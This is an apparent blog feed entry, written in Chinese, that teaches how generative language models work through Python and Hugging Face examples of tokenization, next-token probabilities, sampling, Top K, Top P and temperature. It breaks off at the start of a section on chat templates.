<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>Static</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://staticccccccc.github.io/</id>
  <link href="https://staticccccccc.github.io/" rel="alternate"/>
  <link href="https://staticccccccc.github.io/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, Static</rights>
  <subtitle>二进制安全 / CTF / AI 学习笔记</subtitle>
  <title>Static's blog</title>
  <updated>2026-08-16T13:30:00.000Z</updated>
  <entry>
    <author>
      <name>Static</name>
    </author>
    <category term="Generative AI" scheme="https://staticccccccc.github.io/categories/Generative-AI/"/>
    <category term="AI" scheme="https://staticccccccc.github.io/tags/AI/"/>
    <category term="LLM" scheme="https://staticccccccc.github.io/tags/LLM/"/>
    <content>
      <![CDATA[<p>如今工作已经完全离不开AI了，gpt、Claude、Gemini（<del>美国大豆包</del>）、deepseek等各种🐂🍺模型，从事计算机行业的应该都可以感受到AI的强大。而且各种概念层出不穷，从最初的 prompt engineering、context engineering 再到现在的 harness、loop、graph engineering，每过几个月那些热门AI项目就已经不再新颖，以至于有些老套。甚至有种学得慢就不用学了的感觉，但越是这样就更应该深入根本，而不是被带着跑，从基础来构建起对我们目前常用的AI工作方式的认知。</p><p>本系列文章计划不深究算法，而是构建起对原理的认知。</p><h2 id="Generative-AI是什么？"><a href="#Generative-AI是什么？" class="headerlink" title="Generative AI是什么？"></a>Generative AI是什么？</h2><p>这里使用 deepseek 给出的回答：</p><blockquote><p><strong>生成式人工智能（Generative AI）</strong>，简单来说，就是<strong>一种能够根据你的指令（提示词），“创作”出全新内容的人工智能</strong>。这个“内容”不限于文字，还包括图像、视频、音频、代码甚至3D模型。</p><p><strong>1. 它和传统AI有什么区别？（核心定义）</strong><br>传统AI（判别式AI）主要做“判断题”和“选择题”——比如识别图片里是猫还是狗、判断一封邮件是不是垃圾邮件。它只能分析已有数据，无法创造新数据。<br>而生成式AI做的是“论述题”和“创作题”——它通过学习海量数据中的规律（比如语法、色彩搭配、代码逻辑），然后<strong>从零生成</strong>一个从未存在过的新输出。</p><p><strong>2. 它是怎么工作的？（通俗比喻）</strong><br>你可以把它想象成一个**“被逼着看了无数本名著后开始自己写小说的人”**。</p><ul><li><strong>训练阶段</strong>：工程师喂给它近乎全网的公开文本、图片、声音。它并不“记住”这些文件，而是学习其中的<strong>概率关系</strong>（比如“你好”后面大概率跟着“吗”或“世界”）。</li><li><strong>生成阶段</strong>：当你给它指令（Prompt）时，它不是“搜索”数据库找答案，而是<strong>一个字一个字地“猜”</strong>（预测）最合理、最符合你要求的下一个字&#x2F;像素点，直到生成完整的句子或图片。</li></ul></blockquote><p>简单来说，就是一个根据给定输入来创作出全新内容的机器，而输入可以是任何内容（文字&#x2F;图像&#x2F;视频&#x2F;语音，甚至于感官信息等）。我们可以把模型看作一个函数 <strong>ƒ</strong>，输入即 <strong>x</strong>，那么下一个token就是 <strong>𝑓(x)</strong>。模型不断生成token的过程就是循环计算 𝑓(x) 又将结果作为 x 继续加入运算的过程，直到输出最后的终止token。</p><h2 id="语言模型运作原理"><a href="#语言模型运作原理" class="headerlink" title="语言模型运作原理"></a>语言模型运作原理</h2><p>在我们向语言模型输入一段话时，它并不是去查资料找答案，而是通过你给定的输入去预测下一个token，一般来说会产生下一个token的概率预测表，然后选取概率最大的那一个（当然并不一定，你可以通过一些参数来修改其可能输出的token，例如Top K&#x2F;Top P&#x2F;Temperature，这些后续再说）。</p><p>这里使用 colab，通过调用 hugging face 中的<code>openbmb/MiniCPM5-1B</code>来运行一下看看是不是这样（为什么选这个模型？？因为参数小，colab免费的T4 GPU能带动）。首先加载模型，并准备好 tokenizer 和 model，tokenizer即分词器，记录了模型所使用的全部token，model则储存了模型的参数。</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> transformers <span class="keyword">import</span> AutoTokenizer, AutoModelForCausalLM</span><br><span class="line"></span><br><span class="line">model_id = <span class="string">&quot;openbmb/MiniCPM5-1B&quot;</span></span><br><span class="line">tokenizer = AutoTokenizer.from_pretrained(model_id)</span><br><span class="line">model = AutoModelForCausalLM.from_pretrained(model_id)</span><br></pre></td></tr></table></figure></div><p>可以看一下tokenizer的词表大小是多少</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">print</span>(<span class="string">&quot;该模型可选择的 token 数量为：&quot;</span>, tokenizer.vocab_size)</span><br><span class="line"></span><br><span class="line">该模型可选择的 token 数量为：<span class="number">130072</span></span><br></pre></td></tr></table></figure></div><p>换一个模型<code>google/gemma-3-1b-it</code>，可以看到他的词表大小是 262144。</p><p>每一个token都会有1个编号，例如这里我们从0开始打印前几个token。可以看到一些内置标记token，例如 <code>&lt;s&gt;&lt;/s&gt;</code>就是开始和终止标记，<code>&lt;tool_call&gt;&lt;/tool_call&gt;</code>是工具调用标记，后面两个分别是消息分隔和代码填充标记。</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">print</span>(tokenizer.decode([<span class="number">0</span>,<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>]))</span><br><span class="line"></span><br><span class="line">&lt;s&gt;&lt;/s&gt;&lt;tool_call&gt;&lt;/tool_call&gt;&lt;|im_sep|&gt;&lt;|fim_prefix|&gt;</span><br></pre></td></tr></table></figure></div><p>通过 encode 和 decode 可以将token和对应id进行转换，例如：</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">text = <span class="string">&quot;大家好&quot;</span></span><br><span class="line">tokens = tokenizer.encode(text, add_special_tokens=<span class="literal">False</span>)</span><br><span class="line"><span class="comment"># 这里的 add_special_tokens 就是是否要给text加上一些标记</span></span><br><span class="line"><span class="built_in">print</span>(text ,<span class="string">&quot;-&gt;&quot;</span>, tokens)</span><br><span class="line"><span class="comment"># 输出为：大家好 -&gt; [9777, 1309]</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 如果 add_special_tokens 为 true，则输出为 大家好 -&gt; [0, 9777, 1309]</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 我们可以 decode 对应 id 看看</span></span><br><span class="line"><span class="built_in">print</span>(tokenizer.decode(<span class="number">9777</span>), tokenizer.decode(<span class="number">1309</span>))</span><br><span class="line"><span class="comment"># 输出为 大家 好</span></span><br></pre></td></tr></table></figure></div><p>接下来我们调用model来进行 token 生成，每次可以生成一个token。如图所示，就是我们从输入 prompt 到最终 model 输出一个 token 的过程。可以看到模型接收的从来不是我们原来的 prompt 内容，而是经过 tokenizer 编码之后的内容（图像&#x2F;语音&#x2F;视频生成模型也是如此，只不过是编码的方式与被编码的内容不同）。代码展示了当我们输入 <code>1+1=</code> 之后，模型会输出的下一个token的概率分布，可以看到概率最高的就是正确答案 2。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/2026/08/16/Generative%20AI/1.%E5%8E%9F%E7%90%86/Gemini_Generated_Image_7qhayl7qhayl7qha.jpg"                      alt="Gemini_Generated_Image_7qhayl7qhayl7qha"                ></p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">prompt = <span class="string">&quot;1+1=&quot;</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;输入的 prompt 是:&quot;</span>, prompt)</span><br><span class="line"></span><br><span class="line">input_ids = tokenizer.encode(prompt, return_tensors=<span class="string">&quot;pt&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;这是 model 可以读取的输入：&quot;</span>,input_ids)</span><br><span class="line"></span><br><span class="line">outputs = model(input_ids)</span><br><span class="line"></span><br><span class="line">last_logits = outputs.logits[:, -<span class="number">1</span>, :]</span><br><span class="line">probabilities = torch.softmax(last_logits, dim=-<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">top_k = <span class="number">10</span></span><br><span class="line">top_p, top_indices = torch.topk(probabilities, top_k)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;概率最高的前 <span class="subst">&#123;top_k&#125;</span> 名 token:&quot;</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(top_k):</span><br><span class="line">    token_id = top_indices[<span class="number">0</span>][i].item()</span><br><span class="line">    probability = top_p[<span class="number">0</span>][i].item()</span><br><span class="line">    token_str = tokenizer.decode(token_id)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;Token ID: <span class="subst">&#123;token_id&#125;</span>, Token: &#x27;<span class="subst">&#123;token_str&#125;</span>&#x27;, 概率: <span class="subst">&#123;probability:<span class="number">.4</span>f&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="string">&quot;&quot;&quot; 结果为：</span></span><br><span class="line"><span class="string">输入的 prompt 是: 1+1=</span></span><br><span class="line"><span class="string">这是 model 可以读取的输入，就是prompt中每一个token对应的id： tensor([[ 0, 38, 32, 38, 50]])</span></span><br><span class="line"><span class="string">概率最高的前 10 名 token:</span></span><br><span class="line"><span class="string">Token ID: 39, Token: &#x27;2&#x27;, 概率: 0.9609</span></span><br><span class="line"><span class="string">Token ID: 242, Token: &#x27; &#x27;, 概率: 0.0065</span></span><br><span class="line"><span class="string">Token ID: 2846, Token: &#x27;02&#x27;, 概率: 0.0039</span></span><br><span class="line"><span class="string">Token ID: 557, Token: &#x27;10&#x27;, 概率: 0.0016</span></span><br><span class="line"><span class="string">Token ID: 873, Token: &#x27;22&#x27;, 概率: 0.0016</span></span><br><span class="line"><span class="string">Token ID: 38, Token: &#x27;1&#x27;, 概率: 0.0014</span></span><br><span class="line"><span class="string">Token ID: 491, Token: &#x27;20&#x27;, 概率: 0.0013</span></span><br><span class="line"><span class="string">Token ID: 52, Token: &#x27;?&#x27;, 概率: 0.0008</span></span><br><span class="line"><span class="string">Token ID: 40, Token: &#x27;3&#x27;, 概率: 0.0008</span></span><br><span class="line"><span class="string">Token ID: 1734, Token: &#x27;202&#x27;, 概率: 0.0006</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br></pre></td></tr></table></figure></div><p>基于上述代码，我们还可以通过循环来重复生成token，就形成了类似流式输出的形式。如下代码会循环生成后续 16 个token，并总是取概率最高的 token。可以看到输出中生成 2 之后就开始生成结束标记，一般来说，当我们检索到 <code>&lt;/s&gt;</code> 这样的结束符就应该终止，而不应该继续让模型生成下一个token。</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line">prompt = <span class="string">&quot;1+1=&quot;</span></span><br><span class="line">length = <span class="number">16</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> t <span class="keyword">in</span> <span class="built_in">range</span>(length):</span><br><span class="line">  <span class="built_in">print</span>(<span class="string">&quot;现在的 prompt 是:&quot;</span>, prompt)</span><br><span class="line">  input_ids = tokenizer.encode(prompt,return_tensors=<span class="string">&quot;pt&quot;</span>)</span><br><span class="line"></span><br><span class="line">  outputs = model(input_ids)</span><br><span class="line">  last_logits = outputs.logits[:, -<span class="number">1</span>, :]</span><br><span class="line">  probabilities = torch.softmax(last_logits, dim=-<span class="number">1</span>)</span><br><span class="line">  top_p, top_indices = torch.topk(probabilities, <span class="number">1</span>)</span><br><span class="line">  token_id = top_indices[<span class="number">0</span>][<span class="number">0</span>].item()</span><br><span class="line">  token_str = tokenizer.decode(token_id)</span><br><span class="line">  <span class="built_in">print</span>(<span class="string">&quot;下一个 token 是:&quot;</span>, token_str)</span><br><span class="line"></span><br><span class="line">  prompt = prompt + token_str</span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=</span></span><br><span class="line"><span class="string">下一个 token 是: 2</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">下一个 token 是: </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">下一个 token 是: &lt;/s&gt;</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">&lt;/s&gt;</span></span><br><span class="line"><span class="string">下一个 token 是: &lt;/s&gt;</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">&lt;/s&gt;&lt;/s&gt;</span></span><br><span class="line"><span class="string">下一个 token 是: &lt;/s&gt;</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;</span></span><br><span class="line"><span class="string">下一个 token 是: &lt;/s&gt;</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;</span></span><br><span class="line"><span class="string">下一个 token 是: &lt;/s&gt;</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;</span></span><br><span class="line"><span class="string">下一个 token 是: &lt;/s&gt;</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;</span></span><br><span class="line"><span class="string">下一个 token 是: &lt;/s&gt;</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;</span></span><br><span class="line"><span class="string">下一个 token 是: &lt;/s&gt;</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;</span></span><br><span class="line"><span class="string">下一个 token 是: &lt;/s&gt;</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;</span></span><br><span class="line"><span class="string">下一个 token 是: &lt;/s&gt;</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;</span></span><br><span class="line"><span class="string">下一个 token 是: &lt;/s&gt;</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;</span></span><br><span class="line"><span class="string">下一个 token 是: &lt;/s&gt;</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;</span></span><br><span class="line"><span class="string">下一个 token 是: &lt;/s&gt;</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;&lt;/s&gt;</span></span><br><span class="line"><span class="string">下一个 token 是: &lt;/s&gt;</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br></pre></td></tr></table></figure></div><p>当然我们上面使用的是概率最高的token，如果我们是完全按照概率分布在token中选择，那么会发生什么呢？可以看到模型在接出 2 之后仍然继续生成了一堆我们看不懂的token<code>Question: ferri - leeh + bleh &gt; leeh</code>。如果我们运行多次，就会发现每次生成的结果都不一致，而且都表意不明（<del>何意味</del>）。</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br></pre></td><td class="code"><pre><span class="line">prompt = <span class="string">&quot;1+1=&quot;</span></span><br><span class="line">length = <span class="number">16</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> t <span class="keyword">in</span> <span class="built_in">range</span>(length):</span><br><span class="line">  <span class="built_in">print</span>(<span class="string">&quot;现在的 prompt 是:&quot;</span>, prompt)</span><br><span class="line">  input_ids = tokenizer.encode(prompt,return_tensors=<span class="string">&quot;pt&quot;</span>)</span><br><span class="line"></span><br><span class="line">  outputs = model(input_ids)</span><br><span class="line">  last_logits = outputs.logits[:, -<span class="number">1</span>, :]</span><br><span class="line">  probabilities = torch.softmax(last_logits, dim=-<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">  <span class="comment">#top_p, top_indices = torch.topk(probabilities, 1)</span></span><br><span class="line">  <span class="comment">#token_id = top_indices[0][0].item()</span></span><br><span class="line">  token_id = torch.multinomial(probabilities, num_samples=<span class="number">1</span>).squeeze()</span><br><span class="line"></span><br><span class="line">  token_str = tokenizer.decode(token_id)</span><br><span class="line">  <span class="built_in">print</span>(<span class="string">&quot;下一个 token 是：\n&quot;</span>, token_str)</span><br><span class="line"></span><br><span class="line">  prompt = prompt + token_str</span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=</span></span><br><span class="line"><span class="string">下一个 token 是：</span></span><br><span class="line"><span class="string"> 2</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">下一个 token 是：</span></span><br><span class="line"><span class="string"> </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">下一个 token 是：</span></span><br><span class="line"><span class="string"> Question</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">Question</span></span><br><span class="line"><span class="string">下一个 token 是：</span></span><br><span class="line"><span class="string"> :</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">Question:</span></span><br><span class="line"><span class="string">下一个 token 是：</span></span><br><span class="line"><span class="string">  fer</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">Question: fer</span></span><br><span class="line"><span class="string">下一个 token 是：</span></span><br><span class="line"><span class="string"> ri</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">Question: ferri</span></span><br><span class="line"><span class="string">下一个 token 是：</span></span><br><span class="line"><span class="string">  -</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">Question: ferri -</span></span><br><span class="line"><span class="string">下一个 token 是：</span></span><br><span class="line"><span class="string">  le</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">Question: ferri - le</span></span><br><span class="line"><span class="string">下一个 token 是：</span></span><br><span class="line"><span class="string"> eh</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">Question: ferri - leeh</span></span><br><span class="line"><span class="string">下一个 token 是：</span></span><br><span class="line"><span class="string">  +</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">Question: ferri - leeh +</span></span><br><span class="line"><span class="string">下一个 token 是：</span></span><br><span class="line"><span class="string">  ble</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">Question: ferri - leeh + ble</span></span><br><span class="line"><span class="string">下一个 token 是：</span></span><br><span class="line"><span class="string"> h</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">Question: ferri - leeh + bleh</span></span><br><span class="line"><span class="string">下一个 token 是：</span></span><br><span class="line"><span class="string">  &gt;</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">Question: ferri - leeh + bleh &gt;</span></span><br><span class="line"><span class="string">下一个 token 是：</span></span><br><span class="line"><span class="string">  le</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">Question: ferri - leeh + bleh &gt; le</span></span><br><span class="line"><span class="string">下一个 token 是：</span></span><br><span class="line"><span class="string"> eh</span></span><br><span class="line"><span class="string">现在的 prompt 是: 1+1=2</span></span><br><span class="line"><span class="string">Question: ferri - leeh + bleh &gt; leeh</span></span><br><span class="line"><span class="string">下一个 token 是：</span></span><br><span class="line"><span class="string">  +</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br></pre></td></tr></table></figure></div><p>显然我们可以想到，如果只是选择概率最高的token，那么会造成回复死板，这在一些需要创意的生成上很不实用。而如果按照概率分布来做又会导致模型输出太过随机，无法在严谨的场景下生成正确结果。为了解决这个问题，就引入了 <code>top K/top P/temperature</code> 等超参数。这里简单解释：</p><ul><li>Top K: 在选取token时，只会在概率前K名的token中选取，排名第K名之后的token直接被剔除，概率归零。</li><li>Top P: 按概率从高到低往下累加，直到累计概率加起来刚好达到阈值 P，就在这个动态的“概率池”里选取。</li><li>Temperature: 调整概率分布的“陡峭”程度，控制模型是“死磕最优解”还是“四处瞎逛”。Temperature&#x3D;1 即保持原始概率，而 &lt;1 则会增大高概率 token 与低概率 token 之间的差距（模型生成更单一），&gt; 1 则会减小高概率 token 与低概率 token 之间的差距（模型生成更多样）。</li></ul><p>接下来我们使用<code>我是</code>这个 prompt 来进行测试，首先来看设置 Top K &#x3D; 3 时的输出，这代表了每次选取仅从概率最高的前3个token中按照概率分布选取。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/2026/08/16/Generative%20AI/1.%E5%8E%9F%E7%90%86/image-20260816150009935.png"                      alt="image-20260816150009935"                ></p><p>设置 Top P &#x3D; 0.85，这代表了仅选取概率分布前几个概率和达到 0.85 的 token 进行选取。（高速公路方向盘都来了。。。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/2026/08/16/Generative%20AI/1.%E5%8E%9F%E7%90%86/image-20260816150402077.png"                      alt="image-20260816150402077"                ></p><p>设置 Temperature &#x3D; 0.8，这代表略微增大概率差，高概率token更有可能被选中，句子看起来的确也更通顺了。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/2026/08/16/Generative%20AI/1.%E5%8E%9F%E7%90%86/image-20260816151055610.png"                      alt="image-20260816151055610"                ></p><p>接下来组合这3者，设置 Top K &#x3D; 50，Top P &#x3D; 0.9，Temperature &#x3D; 0.8，再让他来生成。可以看到回复十分流畅且可读。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/2026/08/16/Generative%20AI/1.%E5%8E%9F%E7%90%86/image-20260816151731855.png"                      alt="image-20260816151731855"                ></p><p>当然还有其他有意思的超参数，可以自行调整尝试。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/2026/08/16/Generative%20AI/1.%E5%8E%9F%E7%90%86/image-20260816151935887.png"                      alt="image-20260816151935887"                ></p><h2 id="Chat-Template"><a href="#Chat-Template" class="headerlink" title="Chat Template"></a>Chat Template</h2><p>我们之前使用模型的方式是直接给出 prompt，然后让他来进行接龙，但事实上，这并不是我们日常使用的大模型的工作方式，我们常用的都是一问一答的形式。現在我们把输入的 prompt 加上 Chat Template，看看有什么差別。在此之前，我们就不再使用之前的通过循环来不断输出token的方式，而是使用 model.generate 来进行。例如：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/2026/08/16/Generative%20AI/1.%E5%8E%9F%E7%90%86/image-20260816152927852.png"                      alt="image-20260816152927852"                ></p><p>接下来，我们随便加上一个 Chat Template，看到模型已经开始了问答，显然仍然是自问自答的状态。这是因为我们使用的是自己随便加的Template，在训练过程中使用的Template完全不一致。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/2026/08/16/Generative%20AI/1.%E5%8E%9F%E7%90%86/image-20260816153447239.png"                      